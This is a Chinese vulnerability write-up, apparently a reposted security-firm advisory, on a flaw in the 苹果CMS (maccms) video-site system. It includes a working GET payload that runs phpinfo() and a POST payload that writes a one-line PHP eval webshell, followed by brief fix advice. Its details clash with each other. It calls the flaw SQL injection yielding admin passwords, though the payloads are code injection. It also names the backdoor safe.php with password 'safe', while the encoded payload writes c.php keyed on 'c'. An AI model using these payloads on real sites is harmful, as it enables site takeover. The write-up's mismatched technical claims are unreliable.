苹果cms系统，是目前很多电影网站都在使用的一套网站系统，开源，免费，扩展性较好，支持一键采集，伪静态化，高并发的同时承载，获得的很多站长的喜欢，于近日被网站安全检测发现，maccms存在网站漏洞，sql注入盲射获取数据库的管理员账号密码，关于该漏洞的详情，我们仔细分析看下.
苹果CMS采用的是php语言开发的代码，使用的数据库是mysql类型，这种架构是比较常用的，也是比较稳定的，但是在安全方面出现的问题是比较多的，这次发现的是sql注入漏洞，在网站的根目录下的inc文件里的module目录下的vod.php代码如下图所示：
代码里的empty($wd函数，在进行判断如果是，或者不是的逻辑过程当中，会将前段用户访问带来的参数，进行安全过滤，我们跟进代码来追寻到苹果CMS的配置文件，在function.php配置文件代码李看到对网站的所有请求方式包括get、post、cookies的提交方式都强制性的进行了安全转义。
网站漏洞问题的发生就在这里.我们仔细又发现，maccms使用了360安全提供的防止sql注入拦截代码360的防止sql注入是好几年前开发，并公开在网络上的，已经很久没有更新维护了并且还存在sql注入代码绕过的情况，参数值之间进行实体转换的时候，360的sql拦截规则没有对空白符以及反斜杠进行拦截，导致可以绕过插入恶意参数，直接请求到苹果cms后端数据库中去，获取苹果CMS的管理员账号密码。
我们来看下如何利用苹果CMS的漏洞，从上面漏洞发生的细节里可以看出，是因为拦截sql注入语句的过程中存在可以被绕过的漏洞我们来使用，以及空格对代码进行注入，sql语句在拼接中，可以插入反斜杠进行单引号的报错，从而绕过苹果CMS的安全拦截。
语句如下：GET请求：http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}
可以直接看php的具体信息POST请求可以直接获取webshellhttp://127.0.0.1/index.PHP?m=vod-searchPOST内容如下：wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
可以直接生成带有一句话木马后门的代码，文件名为safe.php,一句话木马链接密码是safe.如何修复苹果cms网站漏洞呢？对网站漏洞的修复我们要知道漏洞产生的原因，以及为何会绕过苹果CMS的安全过滤，maccms使用的addslash安全函数，sql中没有加单引号的安全防护，in字句也很容易忘记加引号，再一个后期处理安全过滤的时候可以插入单引号，stripslash导致可以加入单引号，编解码导致绕过addslash，使用urldecode编码进行注入绕过，根据上面提出的漏洞绕过，我们SINE安全提出漏洞修复的建议是：对URL解码进行双层的转义，对get,post,cookies的拦截规则进行安全更新，加强空格，以及百分符号的拦截,如果对程序代码不熟悉的话建议咨询专业的网站安全公司来处理解决。
模板汇 (code.jishujc.com) – 模板汇提供海量免费CMS模板、网站模板下载，涵盖苹果CMS、飞飞CMS、海洋CMS等多种系统，支持影视模板、资源采集功能，助您快速搭建网站！
本站所发布的全部内容源于互联网收集整理，仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负，版权争议与本站无关。用户必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序和内容，请支持正版，购买注册，得到更好的正版服务。我们非常重视版权问题，如有侵权请邮件与我们联系处理。敬请谅解！
重点提示：
互联网转载资源会有一些其他联系方式，请大家不要盲目相信，被骗本站概不负责！ 本网站部分内容只做项目揭秘，无法一对一教学指导，每篇文章内都含项目全套的教程讲解，请仔细阅读。 本站分享的所有平台仅供展示，本站不对平台真实性负责，站长建议大家自己根据项目关键词自己选择平台。 因为文章发布时间和您阅读文章时间存在时间差，所以有些项目红利期可能已经过了，需要自己判断。 本网站仅做资源分享，不做任何收益保障，希望大家可以认真学习。本站所有资料均来自互联网公开分享，并不代表本站立场，如不慎侵犯到您的版权利益，请联系本站删除，将及时处理！
如果遇到付费才可观看的文章，建议升级VIP会员。全站所有资源“VIP会员无限制下载”。
